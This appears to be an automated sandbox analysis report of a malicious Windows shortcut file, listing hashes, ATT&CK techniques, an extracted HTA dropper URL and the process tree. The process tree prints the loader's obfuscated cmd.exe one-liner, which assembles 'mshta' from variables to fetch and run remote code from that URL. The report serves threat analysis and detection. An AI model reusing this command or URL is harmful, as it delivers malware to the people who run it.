59147b76da1c114850c0986fcac13f4264566f86165c9d2fc2c7cb53c97da8ae

Analysis

max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:30

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General

Target
DOC-VLYKEM.lnk
Size 1KB
Sample260803-qsbh3a1thx
SHA256 59147b76da1c114850c0986fcac13f4264566f86165c9d2fc2c7cb53c97da8ae
MD5 1713dbce46d5681d43197828f2f0ca67
SHA1 1049cb4e6af246498643fc4249506919975f2bcf
SHA512 3d45bae58bf2d1ee428d738efafaa79a9408c90d93154cd9f2327fb86feecb5918f21ad26ef5fa8ba8b95fe45590a17f92c15db277bcae61a9ab68bb264d8389
TLSH
T1313147502FFD0614F3B39E7394BB5B1089BBB8A69F25D61D4141464C5032A18E1BAF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4608	cmd.exe
2628	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4608 wrote to memory of 2628	4608	cmd.exe	90
PID 2628 wrote to memory of 728	2628	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-VLYKEM.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4608
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set rCt=msh&&set fvWDQ=ta&&start "" !rCt!!fvWDQ! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:728

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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